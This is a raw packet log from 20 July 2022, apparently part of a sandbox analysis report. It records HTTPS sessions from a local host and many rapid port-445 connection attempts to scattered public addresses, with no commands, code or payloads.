Jul 20, 2022 09:10:09.177911997 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.177959919 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.177968979 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.178026915 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.240324020 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.240376949 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.240499973 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.245049000 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.245073080 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.390758038 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.390923023 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.395416975 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.395438910 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.449002981 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.449022055 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.517855883 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.517925024 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.517981052 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.518023968 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.522418976 CEST	55684	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.522453070 CEST	443	55684	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.527304888 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.527354956 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.527453899 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.547185898 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.547207117 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.605731010 CEST	55664	445	192.168.2.6	165.0.35.42
Jul 20, 2022 09:10:09.654354095 CEST	55688	445	192.168.2.6	68.171.93.169
Jul 20, 2022 09:10:09.687032938 CEST	55691	445	192.168.2.6	148.133.10.127
Jul 20, 2022 09:10:09.690068960 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.690185070 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.733596087 CEST	55692	445	192.168.2.6	90.173.166.60
Jul 20, 2022 09:10:09.733793020 CEST	55693	445	192.168.2.6	30.168.21.93
Jul 20, 2022 09:10:09.733937979 CEST	55694	445	192.168.2.6	138.208.152.22
Jul 20, 2022 09:10:09.734251976 CEST	55697	445	192.168.2.6	6.33.60.42
Jul 20, 2022 09:10:09.734787941 CEST	55700	445	192.168.2.6	83.185.20.249
Jul 20, 2022 09:10:09.741013050 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:09.741060972 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:09.741153955 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:09.741803885 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:09.741832972 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:09.750917912 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.750941992 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.758517027 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.758542061 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.790107012 CEST	445	55664	165.0.35.42	192.168.2.6
Jul 20, 2022 09:10:09.814636946 CEST	55703	445	192.168.2.6	138.152.213.142
Jul 20, 2022 09:10:09.815373898 CEST	55707	445	192.168.2.6	80.235.250.240
Jul 20, 2022 09:10:09.815614939 CEST	55709	445	192.168.2.6	98.37.100.34
Jul 20, 2022 09:10:09.815972090 CEST	55711	445	192.168.2.6	42.192.143.99
Jul 20, 2022 09:10:09.816092968 CEST	55712	445	192.168.2.6	126.58.132.157
Jul 20, 2022 09:10:09.816557884 CEST	55717	445	192.168.2.6	181.67.48.4
Jul 20, 2022 09:10:09.816762924 CEST	55718	445	192.168.2.6	213.16.30.198
Jul 20, 2022 09:10:09.817020893 CEST	55720	445	192.168.2.6	24.234.196.53
Jul 20, 2022 09:10:09.829143047 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.829246998 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.829288960 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.829329967 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.830588102 CEST	55686	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.830621004 CEST	443	55686	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.837069035 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.837114096 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.837271929 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.838052034 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.838078976 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.846911907 CEST	55727	445	192.168.2.6	2.95.3.163
Jul 20, 2022 09:10:09.848798037 CEST	55728	445	192.168.2.6	213.173.194.144
Jul 20, 2022 09:10:09.858186960 CEST	55732	445	192.168.2.6	62.32.216.212
Jul 20, 2022 09:10:09.860168934 CEST	55733	445	192.168.2.6	130.90.56.143
Jul 20, 2022 09:10:09.865143061 CEST	55736	445	192.168.2.6	57.69.112.86
Jul 20, 2022 09:10:09.867062092 CEST	55737	445	192.168.2.6	158.116.132.205
Jul 20, 2022 09:10:09.870821953 CEST	55739	445	192.168.2.6	176.133.150.170
Jul 20, 2022 09:10:09.892663002 CEST	55741	445	192.168.2.6	70.26.176.123
Jul 20, 2022 09:10:09.894524097 CEST	55742	445	192.168.2.6	136.233.220.208
Jul 20, 2022 09:10:09.921950102 CEST	55744	445	192.168.2.6	58.175.172.28
Jul 20, 2022 09:10:09.926295042 CEST	55746	445	192.168.2.6	108.195.195.5
Jul 20, 2022 09:10:09.926430941 CEST	55748	445	192.168.2.6	46.40.145.203
Jul 20, 2022 09:10:09.926799059 CEST	55750	445	192.168.2.6	94.29.56.140
Jul 20, 2022 09:10:09.926799059 CEST	55760	445	192.168.2.6	126.11.95.147
Jul 20, 2022 09:10:09.926834106 CEST	55759	445	192.168.2.6	163.159.4.153
Jul 20, 2022 09:10:09.989500046 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.989655972 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.994790077 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.994811058 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.997395039 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.997412920 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.065978050 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.066088915 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.066088915 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.066139936 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.066992998 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.067023993 CEST	443	55724	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.067037106 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.067094088 CEST	55724	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.081569910 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.081630945 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.081722975 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.083091021 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.083129883 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.146390915 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.146564007 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.149319887 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.149343014 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.149636030 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.150873899 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.196504116 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.225999117 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.226119041 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.244293928 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.244311094 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.247443914 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.247457027 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.302025080 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.302102089 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.302166939 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.302264929 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.302375078 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.302390099 CEST	443	55765	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.302438974 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.302649975 CEST	55765	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.324278116 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.324347973 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.324517965 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.325470924 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.325506926 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.416660070 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.416707993 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.416743994 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.416820049 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.416851997 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.416872978 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.416886091 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.416928053 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.416929960 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.416960001 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.416977882 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.417021036 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.417056084 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.417054892 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.417093039 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.417143106 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.417331934 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.417402983 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.420337915 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.420376062 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.420430899 CEST	55701	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:10.420448065 CEST	443	55701	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:10.478638887 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.478761911 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.798425913 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:10.798463106 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:10.808943033 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:10.811745882 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:10.811845064 CEST	55770	445	192.168.2.6	190.146.23.90
Jul 20, 2022 09:10:10.811914921 CEST	55771	445	192.168.2.6	62.222.97.43
Jul 20, 2022 09:10:10.951899052 CEST	55775	445	192.168.2.6	86.5.151.103
Jul 20, 2022 09:10:10.951983929 CEST	55778	445	192.168.2.6	124.230.173.96
Jul 20, 2022 09:10:10.952132940 CEST	55779	445	192.168.2.6	2.60.161.36
Jul 20, 2022 09:10:10.952231884 CEST	55780	445	192.168.2.6	176.238.167.233
Jul 20, 2022 09:10:10.952445030 CEST	55783	445	192.168.2.6	50.249.35.147
Jul 20, 2022 09:10:10.952579975 CEST	55784	445	192.168.2.6	173.241.74.9
Jul 20, 2022 09:10:10.952874899 CEST	55790	445	192.168.2.6	25.63.134.230
Jul 20, 2022 09:10:10.965156078 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:11.043179035 CEST	55789	445	192.168.2.6	156.232.91.189
Jul 20, 2022 09:10:11.045376062 CEST	55792	445	192.168.2.6	25.2.252.121
Jul 20, 2022 09:10:11.045707941 CEST	55795	445	192.168.2.6	109.33.186.214
Jul 20, 2022 09:10:11.057152987 CEST	55797	445	192.168.2.6	65.28.157.177
Jul 20, 2022 09:10:11.062459946 CEST	55798	445	192.168.2.6	152.148.16.15
Jul 20, 2022 09:10:11.065169096 CEST	55802	445	192.168.2.6	64.212.52.244
Jul 20, 2022 09:10:11.153264999 CEST	55809	445	192.168.2.6	113.230.121.205
Jul 20, 2022 09:10:11.153464079 CEST	55810	445	192.168.2.6	65.150.159.119
Jul 20, 2022 09:10:11.153629065 CEST	55812	445	192.168.2.6	189.47.122.58
Jul 20, 2022 09:10:11.153793097 CEST	55816	445	192.168.2.6	169.102.101.176
Jul 20, 2022 09:10:11.153887033 CEST	55817	445	192.168.2.6	29.4.34.241
Jul 20, 2022 09:10:11.154022932 CEST	55819	445	192.168.2.6	134.136.26.100
Jul 20, 2022 09:10:11.154369116 CEST	55821	445	192.168.2.6	175.78.254.22
Jul 20, 2022 09:10:11.154607058 CEST	55822	445	192.168.2.6	200.77.73.51
Jul 20, 2022 09:10:11.154958963 CEST	55824	445	192.168.2.6	115.135.99.184
Jul 20, 2022 09:10:11.155260086 CEST	55826	445	192.168.2.6	149.78.3.178
Jul 20, 2022 09:10:11.155626059 CEST	55829	445	192.168.2.6	73.249.31.124
Jul 20, 2022 09:10:11.155894041 CEST	55830	445	192.168.2.6	39.99.8.79
Jul 20, 2022 09:10:11.156407118 CEST	55839	445	192.168.2.6	207.240.19.57
Jul 20, 2022 09:10:11.156543970 CEST	55840	445	192.168.2.6	39.192.203.223
Jul 20, 2022 09:10:11.210674047 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.210690975 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.213866949 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.213912010 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.214032888 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.214776993 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.214797974 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.302015066 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.302103043 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.302192926 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.302222967 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.302552938 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.302577019 CEST	443	55768	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.302627087 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.302653074 CEST	55768	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.307777882 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.307821989 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.308002949 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.331809044 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.331839085 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.478075027 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.478285074 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.479049921 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.479064941 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.484775066 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.484798908 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.564690113 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.564783096 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.565217972 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.565464020 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.565499067 CEST	443	55848	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.565510035 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.566539049 CEST	55848	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.569847107 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.569933891 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.570156097 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.570631981 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.570689917 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.617537022 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.617782116 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.676486015 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.676512003 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.676872969 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.678749084 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.717755079 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.717875004 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.724546909 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.781743050 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.781770945 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.784662962 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.784688950 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.875546932 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.875631094 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.875745058 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.875763893 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.883107901 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.883150101 CEST	443	55850	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.883167028 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.883228064 CEST	55850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.910515070 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.910559893 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:11.910657883 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:11.922064066 CEST	55855	445	192.168.2.6	70.219.219.129
Jul 20, 2022 09:10:11.923547029 CEST	55857	445	192.168.2.6	186.194.198.249
Jul 20, 2022 09:10:11.943547964 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.943598986 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.943624973 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.943713903 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.943737984 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.943756104 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.943782091 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.943839073 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.943864107 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.943876982 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.943906069 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.944557905 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.948112965 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.948158026 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:11.948177099 CEST	55846	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:11.948187113 CEST	443	55846	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:12.011708021 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.011744022 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.163916111 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.164113045 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.207653046 CEST	55861	445	192.168.2.6	2.212.44.200
Jul 20, 2022 09:10:12.208373070 CEST	55862	445	192.168.2.6	128.55.43.214
Jul 20, 2022 09:10:12.208985090 CEST	55863	445	192.168.2.6	223.245.161.193
Jul 20, 2022 09:10:12.209629059 CEST	55864	445	192.168.2.6	74.227.56.142
Jul 20, 2022 09:10:12.213598013 CEST	55867	445	192.168.2.6	95.158.188.1
Jul 20, 2022 09:10:12.213608027 CEST	55868	445	192.168.2.6	105.175.21.251
Jul 20, 2022 09:10:12.216393948 CEST	55873	445	192.168.2.6	156.65.108.143
Jul 20, 2022 09:10:12.217637062 CEST	55874	445	192.168.2.6	121.103.14.196
Jul 20, 2022 09:10:12.222816944 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.222846985 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.227394104 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.227423906 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.232803106 CEST	55876	445	192.168.2.6	8.153.176.202
Jul 20, 2022 09:10:12.238236904 CEST	55881	445	192.168.2.6	220.203.216.242
Jul 20, 2022 09:10:12.238393068 CEST	55882	445	192.168.2.6	140.214.191.141
Jul 20, 2022 09:10:12.238394022 CEST	55884	445	192.168.2.6	191.17.245.14
Jul 20, 2022 09:10:12.238521099 CEST	55886	445	192.168.2.6	92.1.237.53
Jul 20, 2022 09:10:12.264112949 CEST	55890	445	192.168.2.6	128.74.180.247
Jul 20, 2022 09:10:12.267709017 CEST	55895	445	192.168.2.6	168.127.5.160
Jul 20, 2022 09:10:12.270395041 CEST	445	55867	95.158.188.1	192.168.2.6
Jul 20, 2022 09:10:12.271186113 CEST	55899	445	192.168.2.6	19.185.81.174
Jul 20, 2022 09:10:12.271439075 CEST	55898	445	192.168.2.6	153.199.3.174
Jul 20, 2022 09:10:12.273709059 CEST	55902	445	192.168.2.6	178.191.36.251
Jul 20, 2022 09:10:12.275218010 CEST	55904	445	192.168.2.6	172.111.131.192
Jul 20, 2022 09:10:12.294224024 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.294318914 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.294595003 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.304060936 CEST	55906	445	192.168.2.6	128.24.185.75
Jul 20, 2022 09:10:12.309220076 CEST	55907	445	192.168.2.6	171.106.173.246
Jul 20, 2022 09:10:12.309403896 CEST	55909	445	192.168.2.6	206.74.9.243
Jul 20, 2022 09:10:12.309514999 CEST	55911	445	192.168.2.6	80.84.98.134
Jul 20, 2022 09:10:12.309596062 CEST	55912	445	192.168.2.6	149.170.62.14
Jul 20, 2022 09:10:12.309811115 CEST	55916	445	192.168.2.6	184.1.5.210
Jul 20, 2022 09:10:12.310070992 CEST	55922	445	192.168.2.6	87.146.165.222
Jul 20, 2022 09:10:12.310180902 CEST	55923	445	192.168.2.6	26.158.54.239
Jul 20, 2022 09:10:12.319606066 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.319647074 CEST	443	55853	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.319660902 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.319704056 CEST	55853	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.346730947 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.346795082 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.346894026 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.348078966 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.348104000 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.476716042 CEST	445	55874	121.103.14.196	192.168.2.6
Jul 20, 2022 09:10:12.497708082 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.497862101 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.499809027 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.499825001 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.583595037 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.583616018 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.664586067 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.664671898 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.665045023 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.809053898 CEST	55867	445	192.168.2.6	95.158.188.1
Jul 20, 2022 09:10:12.863389969 CEST	445	55867	95.158.188.1	192.168.2.6
Jul 20, 2022 09:10:12.899167061 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.899215937 CEST	443	55932	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:12.899236917 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:12.899297953 CEST	55932	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:13.046000957 CEST	55936	445	192.168.2.6	10.18.212.98
Jul 20, 2022 09:10:13.047908068 CEST	55939	445	192.168.2.6	202.213.78.62
Jul 20, 2022 09:10:13.074915886 CEST	55874	445	192.168.2.6	121.103.14.196
Jul 20, 2022 09:10:13.135297060 CEST	55940	443	192.168.2.6	52.152.110.14
Jul 20, 2022 09:10:13.135334969 CEST	443	55940	52.152.110.14	192.168.2.6
Jul 20, 2022 09:10:13.135484934 CEST	55940	443	192.168.2.6	52.152.110.14
